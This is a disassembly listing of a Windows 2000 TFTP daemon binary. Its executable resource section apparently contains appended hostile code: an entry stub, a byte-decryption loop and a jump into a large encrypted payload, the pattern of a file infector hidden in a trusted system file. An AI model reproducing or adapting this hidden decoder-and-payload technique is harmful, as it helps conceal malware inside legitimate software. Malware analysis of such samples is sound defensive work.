loc_10038F6: ; CODE XREF: sub_10037BF+12Dj
cmp [ebp+Type], 1
jnz short loc_10038FF
inc [ebp+var_4]
loc_10038FF: ; CODE XREF: sub_10037BF+135j
; sub_10037BF+13Bj
push [ebp+hKey] ; hKey
call ds:RegCloseKey ; RegCloseKey
mov eax, [ebp+var_4]
pop esi
pop edi
loc_100390D: ; CODE XREF: sub_10037BF+32j
pop ebx
leave
retn
sub_10037BF endp
; =============== S U B R O U T I N E =======================================
sub_1003910 proc near ; CODE XREF: sub_1001665+193p
Dst = byte ptr -1F4h
sub esp, 1F4h
cmp byte ptr dword_1005E07+1, 0
push ebx
push ebp
push esi
push edi
mov ebp, 1F4h
mov ebx, (offset dword_1005E07+1)
jnz short loc_100393D
push ebp ; Count
push offset Source ; "\\tftpdroot\\"
push ebx ; Dest
call ds:strncpy ; strncpy
add esp, 0Ch
loc_100393D: ; CODE XREF: sub_1003910+1Bj
lea eax, [esp+204h+Dst]
push ebp ; nSize
push eax ; lpDst
push ebx ; lpSrc
call ds:ExpandEnvironmentStringsA ; ExpandEnvironmentStringsA
test eax, eax
jnz short loc_1003952
push 57h
jmp short loc_10039CA
; ---------------------------------------------------------------------------
loc_1003952: ; CODE XREF: sub_1003910+3Cj
mov ecx, eax
lea esi, [esp+204h+Dst]
mov edi, ebx
or edx, 0FFFFFFFFh
shr ecx, 2
rep movsd
mov ecx, eax
xor eax, eax
and ecx, 3
rep movsb
mov edi, ebx
mov ecx, edx
repne scasb
not ecx
dec ecx
cmp byte ptr dword_1005E07[ecx], 2Fh
lea eax, dword_1005E07[ecx]
jnz short loc_1003986
mov byte ptr [eax], 5Ch
loc_1003986: ; CODE XREF: sub_1003910+71j
cmp byte ptr [eax], 5Ch
jz short loc_10039B7
cmp ecx, ebp
jnb short loc_10039B7
mov edi, offset asc_100155C ; "\\"
mov ecx, edx
xor eax, eax
repne scasb
not ecx
sub edi, ecx
mov esi, edi
mov ebp, ecx
mov edi, ebx
mov ecx, edx
repne scasb
mov ecx, ebp
dec edi
shr ecx, 2
rep movsd
mov ecx, ebp
and ecx, 3
rep movsb
loc_10039B7: ; CODE XREF: sub_1003910+79j
; sub_1003910+7Dj
mov edi, ebx
mov ecx, edx
xor eax, eax
push 1
repne scasb
not ecx
dec ecx
mov dword_1005FFC, ecx
loc_10039CA: ; CODE XREF: sub_1003910+40j
pop eax
pop edi
pop esi
pop ebp
pop ebx
add esp, 1F4h
retn
sub_1003910 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_10039D6 proc near ; CODE XREF: sub_1002F31+148p
; sub_1002F31+159p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push esi
mov esi, [ebp+arg_0]
push edi
mov al, [esi]
test al, al
jz short loc_1003A2E
cmp al, 2Ah
jz short loc_1003A04
cmp al, 3Fh
jz short loc_10039F7
mov ecx, [ebp+arg_4]
cmp al, [ecx]
jnz short loc_1003A25
inc ecx
push ecx
jmp short loc_1003A01
; ---------------------------------------------------------------------------
loc_10039F7: ; CODE XREF: sub_10039D6+14j
mov eax, [ebp+arg_4]
cmp byte ptr [eax], 0
jz short loc_1003A25
inc eax
push eax
loc_1003A01: ; CODE XREF: sub_10039D6+1Fj
inc esi
jmp short loc_1003A1B
; ---------------------------------------------------------------------------
loc_1003A04: ; CODE XREF: sub_10039D6+10j
mov edi, [ebp+arg_4]
lea eax, [esi+1]
push edi
push eax
call sub_10039D6
test eax, eax
jnz short loc_1003A29
cmp [edi], al
jz short loc_1003A25
inc edi
push edi
loc_1003A1B: ; CODE XREF: sub_10039D6+2Cj
push esi
call sub_10039D6
test eax, eax
jnz short loc_1003A29
loc_1003A25: ; CODE XREF: sub_10039D6+1Bj
; sub_10039D6+27j ...
xor eax, eax
jmp short loc_1003A38
; ---------------------------------------------------------------------------
loc_1003A29: ; CODE XREF: sub_10039D6+3Dj
; sub_10039D6+4Dj
push 1
pop eax
jmp short loc_1003A38
; ---------------------------------------------------------------------------
loc_1003A2E: ; CODE XREF: sub_10039D6+Cj
mov ecx, [ebp+arg_4]
xor eax, eax
cmp [ecx], al
setz al
loc_1003A38: ; CODE XREF: sub_10039D6+51j
; sub_10039D6+56j
pop edi
pop esi
pop ebp
retn 8
sub_10039D6 endp
; [00000006 BYTES: COLLAPSED FUNCTION _chkstk. PRESS KEYPAD "+" TO EXPAND]
; [00000006 BYTES: COLLAPSED FUNCTION NotifyAddrChange. PRESS KEYPAD "+" TO EXPAND]
; [00000006 BYTES: COLLAPSED FUNCTION GetIpAddrTable. PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_1001560
push offset loc_1003BF0
mov eax, large fs:0
push eax
mov large fs:0, esp
add esp, 0FFFFFFE0h
push ebx
push esi
push edi
mov [ebp-18h], esp
mov dword ptr [ebp-4], 0
push 1
call ds:__set_app_type ; __set_app_type
add esp, 4
mov dword_10062D0, 0FFFFFFFFh
mov dword_10062D4, 0FFFFFFFFh
call ds:__p__fmode ; __p__fmode
mov ecx, dword_100600C
mov [eax], ecx
call ds:__p__commode ; __p__commode
mov edx, dword_1006008
mov [eax], edx
mov eax, ds:_adjust_fdiv
mov ecx, [eax]
mov dword_10062D8, ecx
call nullsub_2
mov eax, dword_1005DC4
test eax, eax
jnz short loc_1003AE1
push offset loc_1003BD0
call ds:__setusermatherr ; __setusermatherr
add esp, 4
loc_1003AE1: ; CODE XREF: .text:01003AD1j
call sub_1003BB0
push offset dword_100500C
push offset dword_1005008
call _initterm ; _initterm
add esp, 8
mov edx, dword_1006004
mov [ebp-28h], edx
lea eax, [ebp-28h]
push eax
mov ecx, dword_1006000
push ecx
lea edx, [ebp-20h]
push edx
lea eax, [ebp-2Ch]
push eax
lea ecx, [ebp-1Ch]
push ecx
call ds:__getmainargs ; __getmainargs
add esp, 14h
push offset dword_1005004
push offset dword_1005000
call _initterm ; _initterm
add esp, 8
call ds:__p___initenv ; __p___initenv
mov edx, [ebp-20h]
mov [eax], edx
mov eax, [ebp-20h]
push eax
mov ecx, [ebp-2Ch]
push ecx
mov edx, [ebp-1Ch]
push edx
call sub_1001570
; ---------------------------------------------------------------------------
add esp, 0Ch
mov [ebp-24h], eax
push eax
call ds:exit ; exit
; ---------------------------------------------------------------------------
jmp short loc_1003B80
; ---------------------------------------------------------------------------
mov eax, [ebp-14h]
mov ecx, [eax]
mov ecx, [ecx]
mov [ebp-30h], ecx
push eax
push ecx
call _XcptFilter ; _XcptFilter
add esp, 8
retn
; ---------------------------------------------------------------------------
mov esp, [ebp-18h]
mov edx, [ebp-30h]
push edx
call ds:_exit ; _exit
; ---------------------------------------------------------------------------
loc_1003B80: ; CODE XREF: .text:01003B5Cj
add esp, 4
mov dword ptr [ebp-4], 0FFFFFFFFh
mov ecx, [ebp-10h]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
; [00000006 BYTES: COLLAPSED FUNCTION _XcptFilter. PRESS KEYPAD "+" TO EXPAND]
; [00000006 BYTES: COLLAPSED FUNCTION _initterm. PRESS KEYPAD "+" TO EXPAND]
align 10h
; =============== S U B R O U T I N E =======================================
sub_1003BB0 proc near ; CODE XREF: .text:loc_1003AE1p
push 30000h ; Mask
push 10000h ; NewValue
call _controlfp ; _controlfp
add esp, 8
retn
sub_1003BB0 endp
; ---------------------------------------------------------------------------
align 10h
loc_1003BD0: ; DATA XREF: .text:01003AD3o
xor eax, eax
retn
; ---------------------------------------------------------------------------
align 10h
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_2. PRESS KEYPAD "+" TO EXPAND]
align 10h
loc_1003BF0: ; DATA XREF: .text:01003A5Ao
jmp ds:_except_handler3
; [00000006 BYTES: COLLAPSED FUNCTION _controlfp. PRESS KEYPAD "+" TO EXPAND]
dd 3D7Ch, 2 dup(0FFFFFFFFh), 3E60h, 10F4h, 3CA4h, 2 dup(0FFFFFFFFh)
dd 4012h, 101Ch, 3C88h, 2 dup(0FFFFFFFFh), 40A2h, 1000h
dd 3DCCh, 2 dup(0FFFFFFFFh), 4172h, 1144h, 3DC0h, 2 dup(0FFFFFFFFh)
dd 41A2h, 1138h, 3D04h, 2 dup(0FFFFFFFFh), 42F6h, 107Ch
dd 5 dup(0)
dd 4092h, 4020h, 407Eh, 4070h, 4052h, 403Eh, 0
dd 3E6Ch, 3FF6h, 3FE6h, 3FCEh, 3FBEh, 3FB2h, 3FA2h, 3E7Ah
dd 3E8Ah, 3EA0h, 3EB0h, 3ECCh, 3EDAh, 3EF2h, 3EFEh, 3F0Ch
dd 3F24h, 3F3Ch, 3F56h, 3F62h, 3F70h, 3F78h, 3F92h, 0
dd 4282h, 4272h, 428Eh, 4230h, 4226h, 421Eh, 4214h, 420Ah
dd 4200h, 41F8h, 41F0h, 41E6h, 41DCh, 41D2h, 41CAh, 41C2h
dd 4302h, 42E2h, 42D0h, 42C2h, 42B2h, 42A2h, 41B8h, 4262h
dd 4254h, 424Ch, 423Ah, 4242h, 41B0h, 0
dd 3E52h, 8000006Fh, 80000073h, 3E08h, 80000009h, 3E1Ah
dd 8000000Fh, 3E34h, 8000000Ah, 3E42h, 80000003h, 8000000Ch
dd 80000002h, 80000037h, 80000017h, 80000014h, 0
dd 417Ch, 4190h, 0
dd 4126h, 4168h, 415Eh, 4154h, 4142h, 4130h, 411Ah, 4112h
dd 410Ah, 40F4h, 40EAh, 40D4h, 40B0h, 40C2h, 0
dd 53570019h, 65764541h, 6553746Eh, 7463656Ch, 1B0000h
aWsagetoverlapp db 'WSAGetOverlappedResult',0
align 4
a2 db '2',0
aWsarecvfrom db 'WSARecvFrom',0
dw 0Fh
aWsacloseevent db 'WSACloseEvent',0
db '=',0
aWsasocketa db 'WSASocketA',0
align 10h
aWs2_32_dll db 'WS2_32.dll',0
align 4
aM db 'Œ',0
aExitprocess db 'ExitProcess',0
dw 12Dh
aGetlasterror db 'GetLastError',0
align 2
dw 2FDh
aWaitforsingleo db 'WaitForSingleObject',0
a4 db '4',0
aCreateeventa db 'CreateEventA',0
align 10h
db 0C5h ; Å
db 1, 49h, 6Eh
aItializecritic db 'itializeCriticalSection',0
dd 654801B6h, 72437061h, 65746165h, 1DE0000h
aLeavecriticals db 'LeaveCriticalSection',0
align 2
dw 1BAh
aHeapfree db 'HeapFree',0
align 2
dw 1Eh
aClosehandle db 'CloseHandle',0
aO db 'o',0
aEntercriticals db 'EnterCriticalSection',0
align 4
retf
; ---------------------------------------------------------------------------
db 1, 49h, 6Eh
aTerlockedincre db 'terlockedIncrement',0
align 4
db 0FBh ; û
db 2, 57h, 61h
aItformultipleo db 'itForMultipleObjects',0
align 2
dw 1B4h
aHeapalloc db 'HeapAlloc',0
dw 252h
aResetevent db 'ResetEvent',0
align 10h
retn
; ---------------------------------------------------------------------------
db 2, 53h, 6Ch
db 65h ; e
db 65h, 70h, 0
db 0D8h ; Ø
db 2, 54h, 72h
aYentercritical db 'yEnterCriticalSection',0
dw 2C5h
aSuspendthread db 'SuspendThread',0
dw 254h
aResumethread db 'ResumeThread',0
db 0, 90h, 2
aSetevent db 'SetEvent',0
align 2
dw 29Ch
aSetlasterror db 'SetLastError',0
align 2
aZ db 'Z',0
aDeletecritical db 'DeleteCriticalSection',0
dw 12Fh
aGetlocaltime db 'GetLocalTime',0
align 2
aP db '',0
aExpandenvironm db 'ExpandEnvironmentStringsA',0
aKernel32_dll db 'KERNEL32.dll',0
align 10h
db 0E5h ; å
db 1, 53h, 74h
aArtservicectrl db 'artServiceCtrlDispatcherA',0
dw 1DFh
aSetservicestat db 'SetServiceStatus',0
align 2
dw 1B9h
aRegisterservic db 'RegisterServiceCtrlHandlerA',0
db 84h ; „
db 1, 52h, 65h
aGclosekey db 'gCloseKey',0
dw 1A7h
aRegqueryvaluee db 'RegQueryValueExA',0
align 2
dw 19Dh
aRegopenkeyexa db 'RegOpenKeyExA',0
aAdvapi32_dll db 'ADVAPI32.dll',0
align 10h
db 50h ; P
db 2, 52h, 74h
aLregisterwait db 'lRegisterWait',0
dw 184h
aRtlcreatetimer db 'RtlCreateTimer',0
align 4
db 85h ; …
db 1, 52h, 74h
aLcreatetimerqu db 'lCreateTimerQueue',0
dw 42Eh
a_chkstk db '_chkstk',0
db 0A1h ; ¡
db 1, 52h, 74h
aLderegisterwai db 'lDeregisterWaitEx',0
dw 433h
a_itoa db '_itoa',0
dw 450h
aAtoi db 'atoi',0
align 2
dw 43Dh
a_stricmp db '_stricmp',0
align 2
dw 46Dh
aMemmove db 'memmove',0
dd 7452019Dh, 6C65446Ch, 54657465h, 72656D69h, 2990000h
dd 556C7452h, 74616470h, 6D695465h, 7265h, 6F740486h, 65776F6Ch
dd 45F0072h, 70757369h, 726570h, 7473047Dh, 70636E72h
dd 746E0079h, 2E6C6C64h, 6C6C64h, 6F4E004Fh, 79666974h
dd 72646441h, 6E616843h, 6567h, 65470022h, 41704974h, 54726464h
dd 656C6261h, 70690000h, 61706C68h, 642E6970h, 6C6Ch, 78650246h
dd 7469h, 7270029Bh, 66746E69h, 2430000h, 6D697463h, 2540065h
dd 65706F66h, 17F006Eh, 646B6D5Fh, 7269h, 655F00C5h, 6F6E7272h
dd 0AA0000h, 6468635Fh, 7269h, 697402CDh, 656Dh, 7266025Bh
dd 6565h, 63660249h, 65736F6Ch, 2A40000h, 6C616572h, 636F6Ch
dd 616D028Eh, 636F6C6Ch, 1950000h, 6165725Fh, 0B00064h
dd 6F6C635Fh, 6573h, 6C5F0141h, 6B656573h, 1840000h, 65706F5Fh
dd 214006Eh, 6972775Fh, 6574h, 655F00D0h, 746978h, 585F0048h
dd 46747063h, 65746C69h, 630072h, 5F705F5Fh, 6E695F5Fh
dd 6E657469h, 580076h, 65675F5Fh, 69616D74h, 6772616Eh
dd 10C0073h, 696E695Fh, 72657474h, 82006Dh, 65735F5Fh
dd 65737574h, 74616D72h, 72726568h, 9B0000h, 6A64615Fh
dd 5F747375h, 76696466h, 690000h, 5F705F5Fh, 6D6F635Fh
dd 65646F6Dh, 6E0000h, 5F705F5Fh, 6F6D665Fh, 6564h, 5F5F0080h
dd 5F746573h, 5F707061h, 65707974h, 0C70000h, 6378655Fh
dd 5F747065h, 646E6168h, 3372656Ch, 534D0000h, 54524356h
dd 6C6C642Eh, 0B40000h, 6E6F635Fh, 6C6F7274h, 7066h, 3Ch dup(0)
_text ends
; Section 2. (virtual address 00005000)
; Virtual size : 000012DC ( 4828.)
; Section size in file : 00000E00 ( 3584.)
; Offset to raw data for section: 00003A00
; Flags C0000040: Data Readable Writable
; Alignment : default
; ===========================================================================
; Segment type: Pure data
; Segment permissions: Read/Write
_data segment para public 'DATA' use32
assume cs:_data
;org 1005000h
dword_1005000 dd 0 dword_1005004 dd 0 dword_1005008 dd 0 dword_100500C dd 0 ; char Format[]
Format db ' ================================================================'
; DATA XREF: sub_1001570+4Do
db '======== ',0Ah
db 'Abstract: '
db ' ',0Ah
db ' This implements an RFC 783 tftp daemon. '
db ' ',0Ah
db ' It listens on port 69 for requests '
db ' ',0Ah
db ' and spawns a thread to process each request. '
db ' ',0Ah
db ' '
db ' ',0Ah
db 'TFTPD USAGE and Installation: '
db ' ',0Ah
db ' '
db ' ',0Ah
db ' md d:/tftpd (the StartDirec'
db 'tory). ',0Ah
db ' copy //MohsinA_p90/test/tftpd.exe . '
db ' ',0Ah
db ' sc create tftpd binPath= d:/tftpd/tftpd.exe (give full path'
db '). ',0Ah
db ' sc query tftpd (check if insta'
db 'lled). ',0Ah
db ' '
db ' ',0Ah
db 'Start: '
db ' ',0Ah
db ' sc start tftpd -f (creates a log '
db 'file). ',0Ah
db 'or sc start tftpd '
db ' ',0Ah
db 'or net start tftpd '
db ' ',0Ah
db 'or sc start tftpd [-dStartDirectory] [-e] [-f] '
db ' ',0Ah
db ' Options: -e use event log. '
db ' ',0Ah
db ' -f log to file. '
db ' ',0Ah
db ' -dStartDirectory '
db ' ',0Ah
db 'Info: '
db ' ',0Ah
db ' sc interrogate tftpd (logs will be updated). '
db ' ',0Ah
db ' sc query tftpd Check whether running. '
db ' ',0Ah
db 'Stop: '
db ' ',0Ah
db ' sc stop tftpd '
db ' ',0Ah
db ' net stop tftpd '
db ' ',0Ah
db ' '
db ' ',0Ah
db 'Variables that control what files can be read/written and by whom'
db ': ',0Ah
db ' StartDirectory - only files there will be accessible. '
db ' ',0Ah
db ' LogFile is created here. '
db ' ',0Ah
db ' ValidClients - Clients matching this ip address can read files'
db '. ',0Ah
db ' eg. you can set it to "157.55.8?.*" '
db ' ',0Ah
db ' ValidMasters - clients matching this can write and read file'
db 's. ',0Ah
db ' eg. you can set it to "" and no one can write'
db '. ',0Ah
db ' ValidReadFiles - only matching files will be served out, eg. "'
db 'r*.t?t"',0Ah
db ' ValidWriteFiles- only matching files will be accepted, eg. "w'
db '*.txt" ',0Ah
db ' '
db ' ',0Ah
db 'Client: '
db ' ',0Ah
db ' tftp [-i] servername {get|put} src_file dest_file '
db ' ',0Ah
db ' -i from binary mode, else ascii mode is used. '
db ' ',0Ah
db ' '
db ' ',0Ah
db ' ================================================================'
db '======== ',0Ah,0
align 8
; char ServiceName[]
ServiceName db 'Tftpd',0 ; DATA XREF: sub_1001665+Bo
; .data:ServiceStartTableo
align 10h
; SERVICE_TABLE_ENTRYA ServiceStartTable
ServiceStartTable SERVICE_TABLE_ENTRYA <offset ServiceName, offset sub_1001665>
; DATA XREF: sub_1001570:loc_1001646o
; "Tftpd"
align 10h
off_1005CC0 dd offset aErrorUndefined ; DATA XREF: sub_100230A+73r
; "Error undefined"
dd offset aFileNotFound ; "File not found"
dd offset aAccessViolatio ; "Access violation"
dd offset aDiskFullOrAllo ; "Disk full or allocation exceeded"
dd offset aIllegalTftpOpe ; "Illegal TFTP operation"
dd offset aUnknownTransfe ; "Unknown transfer ID"
dd offset aFileAlreadyExi ; "File already exists"
dd offset aNoSuchUser ; "No such user"
dd offset aOptionNegotiat ; "Option negotiation failure"
align 8
; BYTE Data
Data db 2Ah ; DATA XREF: sub_1002F31+143o
; sub_10037BF+87o
align 4
dd 0Dh dup(0)
; BYTE byte_1005D20
byte_1005D20 db 2Ah ; DATA XREF: sub_1002F31+154o
; sub_100333A+163o ...
align 4
dd 0Dh dup(0)
; BYTE byte_1005D58
byte_1005D58 db 2Ah ; DATA XREF: sub_1002F31+165o
; sub_10037BF+EAo
align 4
dd 0Dh dup(0)
; BYTE byte_1005D90
byte_1005D90 db 2Ah ; DATA XREF: sub_100333A+178o
; sub_10037BF+11Ao
align 4
dd 0Ch dup(0)
dword_1005DC4 dd 1 align 10h
; FILE *File
File dd 0 ; DATA XREF: sub_1001665+1E5w
; sub_1001E73:loc_1001F36r ...
dword_1005DD4 dd 0 dword_1005DD8 dd 0 ; sub_1001665:loc_100182Er ...
; HANDLE hHandle
hHandle dd 0 ; DATA XREF: sub_1001665+84w
; sub_1001665+8Br ...
; HANDLE hObject
hObject dd 0 ; DATA XREF: sub_1001665+91w
; sub_1001E73:loc_1001F0Cr ...
align 8
; volatile LONG Addend
Addend dd 0 ; DATA XREF: sub_1001A91+26Eo
; sub_1001A91+2B3o
; HANDLE hHeap
hHeap dd 0 ; DATA XREF: sub_10019F0+29w
; sub_1001A1F+52r ...
dword_1005DF0 dd 0 ; sub_1001A1F+5Ew ...
dword_1005DF4 dd 0 ; sub_1001A91+59w ...
dword_1005DF8 dd 0 ; sub_10018DB+EFr
dword_1005DFC dd 0 ; HANDLE Handle
Handle dd ? ; DATA XREF: sub_10018DB+F4o
; sub_1002219+D5o
db 3 dup(?)
dword_1005E07 dd ? ; sub_1003910+6Br ...
align 4
dd 7Ch dup(?)
dword_1005FFC dd ? dword_1006000 dd ? dword_1006004 dd ? dword_1006008 dd ? dword_100600C dd ? dd 4 dup(?)
; struct _RTL_CRITICAL_SECTION stru_1006020
stru_1006020 _RTL_CRITICAL_SECTION <?> ; DATA XREF: sub_10018DB+14o
; .text:01001D78o ...
; void *Memory
Memory dd ? ; DATA XREF: sub_10018DB+2Ao
; sub_10018DB+34w ...
dword_100603C dd ? ; HANDLE hThread
hThread dd ? ; DATA XREF: HandlerProc:loc_1001E1Dr
; HandlerProc:loc_1001E35r
; SERVICE_STATUS_HANDLE hServiceStatus
hServiceStatus dd ? ; DATA XREF: sub_1001665+52w
; sub_1001665+DBr ...
dword_1006048 dd 6 dup(?) ; struct _RTL_CRITICAL_SECTION stru_1006060
stru_1006060 _RTL_CRITICAL_SECTION <?> ; DATA XREF: sub_10019F0+5o
; sub_1001A1F+2o ...
; LPVOID lpMem
lpMem dd ? ; DATA XREF: sub_10019F0o
; sub_10019F0+Fw ...
dword_100607C dd ? ; struct _RTL_CRITICAL_SECTION CriticalSection
CriticalSection _RTL_CRITICAL_SECTION <?> ; DATA XREF: sub_10018DB+Do
; sub_100287F+1o ...
dword_1006098 dd ? ; sub_10018DB+25w ...
dword_100609C dd ? dword_10060A0 dd ? ; sub_10018DB+A2r ...
dd 7 dup(?)
; time_t Time
Time dq ? ; DATA XREF: sub_1001665+10Ao
; sub_1001665:loc_1001857o ...
dword_10060C8 dd ? dword_10060CC dd ? dd 0Ch dup(?)
; struct _OVERLAPPED overlapped
overlapped _OVERLAPPED <?> ; DATA XREF: sub_10018DB+E0o
; sub_1002219:loc_10022E9o
align 10h
; struct _SERVICE_STATUS ServiceStatus
ServiceStatus _SERVICE_STATUS <?> ; DATA XREF: sub_1001665+10w
; sub_1001665+63o ...
align 10h
; struct WSAData stru_1006140
stru_1006140 WSAData <?> ; DATA XREF: sub_1001665+9Co
dword_10062D0 dd ? dword_10062D4 dd ? dword_10062D8 dd ? align 200h
_data ends
; Section 3. (virtual address 00007000)
; Virtual size : 00010400 ( 66560.)
; Section size in file : 00010400 ( 66560.)
; Offset to raw data for section: 00004800
; Flags E0000060: Text Data Executable Readable Writable
; Alignment : default
; ===========================================================================
; Segment type: Pure code
; Segment permissions: Read/Write/Execute
_rsrc segment para public 'CODE' use32
assume cs:_rsrc
;org 1007000h
assume es:nothing, ss:nothing, ds:nothing, fs:nothing, gs:nothing
dd 3 dup(0)
dd 10000h, 10h, 80000018h, 3 dup(0)
dd 10000h, 1, 80000030h, 3 dup(0)
dd 10000h, 409h, 48h, 7060h, 374h, 4 dup(0)
dd 340374h, 560000h, 5F0053h, 450056h, 530052h, 4F0049h
dd 5F004Eh, 4E0049h, 4F0046h, 0
dd 0FEEF04BDh, 10000h, 50000h, 8560001h, 50000h, 8560001h
dd 3Fh, 0
dd 40004h, 1, 3 dup(0)
dd 2D4h, 530001h, 720074h, 6E0069h, 460067h, 6C0069h, 490065h
dd 66006Eh, 6Fh, 2B0h, 300001h, 300034h, 300039h, 420034h
dd 30h, 16004Ch, 430001h, 6D006Fh, 610070h, 79006Eh, 61004Eh
dd 65006Dh, 0
aMicrosoftCorpo:
unicode 0, <Microsoft Corporation>,0
aR:
unicode 0, <r%>
dd 460001h, 6C0069h, 440065h, 730065h, 720063h, 700069h
dd 690074h, 6E006Fh, 0
aTcpIpTrivialFi:
unicode 0, <TCP/IP Trivial file transfer daemon.>,0
align 4
a8 db '8',0
dw 0Ch
dd 460001h, 6C0069h, 560065h, 720065h, 690073h, 6E006Fh
dd 0
a5_00_2134_1:
unicode 0, <5.00.2134.1>,0
a4_0:
unicode 0, <4>
dw 0Ah
dd 490001h, 74006Eh, 720065h, 61006Eh, 4E006Ch, 6D0061h
dd 65h, 660074h, 700074h, 2E0064h, 780065h, 65h, 280074h
dd 4C0001h, 670065h, 6C0061h, 6F0043h, 790070h, 690072h
dd 680067h, 74h, 6F0043h, 790070h, 690072h, 680067h, 200074h
dd 430028h, 200029h, 69004Dh, 720063h, 73006Fh, 66006Fh
dd 200074h, 6F0043h, 700072h, 20002Eh, 390031h, 310038h
dd 31002Dh, 390039h, 39h, 0A003Ch, 4F0001h, 690072h, 690067h
dd 61006Eh, 46006Ch, 6C0069h, 6E0065h, 6D0061h, 65h, 660074h
dd 700074h, 2E0064h, 780065h, 65h, 2F007Eh, 500001h, 6F0072h
dd 750064h, 740063h, 61004Eh, 65006Dh, 0
aMicrosoftRWind:
unicode 0, <Microsoft(R) Windows (R) 2000 Operating System>,0
align 4
db '<',0
dw 0Ch
dd 500001h, 6F0072h, 750064h, 740063h, 650056h, 730072h
dd 6F0069h, 6Eh, 2E0035h, 300030h, 32002Eh, 330031h, 2E0034h
dd 31h, 44h, 560001h, 720061h, 690046h, 65006Ch, 6E0049h
dd 6F0066h, 0
dd 40024h, 540000h, 610072h, 73006Eh, 61006Ch, 690074h
dd 6E006Fh, 0
dd 4B00409h, 0Bh dup(0)
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
call sub_1007417
call sub_10074C0
mov ebp, 6404A71h ; DATA XREF: sub_1007417+6w
jmp loc_1007472
; =============== S U B R O U T I N E =======================================
sub_1007417 proc near ; CODE XREF: .rsrc:01007403p
var_236D6536 = dword ptr -236D6536h
; FUNCTION CHUNK AT 010074EA SIZE 0000007D BYTES
push dword ptr fs:0
mov dword ptr ds:loc_100740D+1, ebp
mov fs:0, esp
xor ecx, ecx
push ecx
push 8
push ecx
push ecx
push ecx
push 80000000h ; phkResult
push 2 ; samDesired
push ecx ; ulOptions
push 80000000h ; lpSubKey
push 2000h ; hKey
call ds:RegOpenKeyExA ; RegOpenKeyExA
xor edx, edx
push edx
push 80000000h
push edx
push edx
push edx
push edx
push 10000h ; phkResult
push 80000000h ; samDesired
push 80000000h ; ulOptions
push edx ; lpSubKey
push edx ; hKey
call ds:RegOpenKeyExA ; RegOpenKeyExA
loc_1007472: ; CODE XREF: .rsrc:01007412j
cld
cld
stc
cld
cld
sub eax, eax
loc_1007479: ; CODE XREF: sub_1007417+68j
dec al
or al, al
jz short loc_1007483
jnz short loc_1007479
jmp short loc_10074EA
; ---------------------------------------------------------------------------
loc_1007483: ; CODE XREF: sub_1007417+66j
call $+5
pop edx
add edx, 45h
push edx
sub edi, edi
or edi, 289Ch
and esi, 0
add esi, 0AAh
loc_10074A1: ; CODE XREF: sub_1007417+9Aj
xchg al, [edx]
sub ax, si
mov [edx], al
cld
add edx, 1
sub edi, 1
or edi, edi
jnz short loc_10074A1
pop edx
mov esi, [ebp-8]
mov fs:0, esi
leave
jmp edx
sub_1007417 endp
; =============== S U B R O U T I N E =======================================
sub_10074C0 proc near ; CODE XREF: .rsrc:01007408p
arg_C = dword ptr 10h
mov edx, [esp+arg_C]
xor eax, eax
pop dword ptr [edx+0B8h] ; CODE XREF: sub_1007417+D9j
retn
sub_10074C0 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
db 92h, 2 dup(0AAh)
dd 35A2AAAAh, 33A6CEAEh, 0AAD97942h, 342AA1AAh, 0AAAAAAD2h
dd 352AAAAAh
db 6, 0CEh
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_1007417
loc_10074EA: ; CODE XREF: sub_1007417+6Aj
scasb
push ds
xlat
add esi, [ebx]
pop edx
jge short near ptr loc_10074C6+5
stosb
stosb
add [ecx], edi
sub al, [ecx+2AAAAAD9h]
bound edi, [eax]
shr byte ptr [edx-48E06D56h], cl ; CODE XREF: sub_1007417+13Ej
lodsd
inc edx
cmp edx, edx
stosb
stosb
xor eax, 0DDA9AC05h
loc_100750F: ; CODE XREF: sub_1007417+13Cj
xchg eax, ebp
mov dl, 35h
inc edx
cmp dl, dl ; CODE XREF: sub_1007417+11Bj
stosb
stosb
test eax, 35FF05DDh
xchg eax, edx
sub edx, [esi]
into
scasb
sub al, 0E4h
stosb
stosb
sub edx, [edi-551F4551h]
xor eax, 37AECE26h
pop edi
inc esi
loop near ptr loc_1007513+1
stosb
arpl [edx-62555556h], bp
dec esi
xchg eax, edx
clc
stosb
stosb
stosb
xor eax, 0AAF19272h
stosb
stosb
aad 6Bh
push ds
shl edi, 0AAh
stosd
stosb
stosb
aaa
das
jg short loc_100750F
loopne near ptr loc_10074FE+3
and [esp+esi+30h+var_236D6536], esi
stosb
stosb
stosb
xchg eax, ebp
jmp near ptr 0E339A508h
; END OF FUNCTION CHUNK FOR sub_1007417
; ---------------------------------------------------------------------------
db 0E0h
dd 0AAAAAAAAh, 37C81E2Ah, 0E0E23D5Fh, 0CE2635AAh, 354F4EAEh
dd 0E0E9825Fh, 866735AAh, 35AAE0E9h, 0E0E97E47h, 0B96D07AAh
dd 34466DDBh, 0D164639Ch, 0BADAAAAAh, 8CEA80ACh, 85C76DA3h
dd 19D2A7Eh, 0F6DC456Fh, 0A649E386h, 0A261EBD6h, 0C776DA3Fh
dd 85A9D595h, 7374D6E1h, 77037A86h, 0FA862562h, 94215D71h
dd 0BAD005BEh, 7F375D51h, 13D41DC1h, 0B272CCA6h, 5A57432Bh
dd 23A9190Bh, 0F4B3AE5Ah, 85CB6358h, 0AD720647h, 0A5AF8E00h
dd 1625E911h, 6EF0D5F4h, 26D19521h, 0FA992D0Dh, 0D2369A02h
dd 953DB631h, 10B742FBh, 2263D66Ah, 0B44F9F1h, 1831BCABh
dd 72CB229Eh, 0F489AA0Eh, 7722BB5Bh, 20C340ABh, 8596BB6Ah
dd 277FC085h, 12A4B54Ch, 82E65796h, 0E673011Eh, 76198B52h
dd 0F1A82CBBh, 11590A60h, 0DC93038Ch, 3A862049h, 92F65D81h
dd 865D8AABh, 0E17D19A1h, 0ACB3A9DEh, 0D7B6F099h, 43A3992Eh
dd 0B296FA61h, 78F39843h, 2663DB3Eh, 9192BFA5h, 6FFCBAECh
dd 62D43F74h, 0E7AE1F85h, 49C10A9Ch, 0C78E1F61h, 0A586EA3Ch
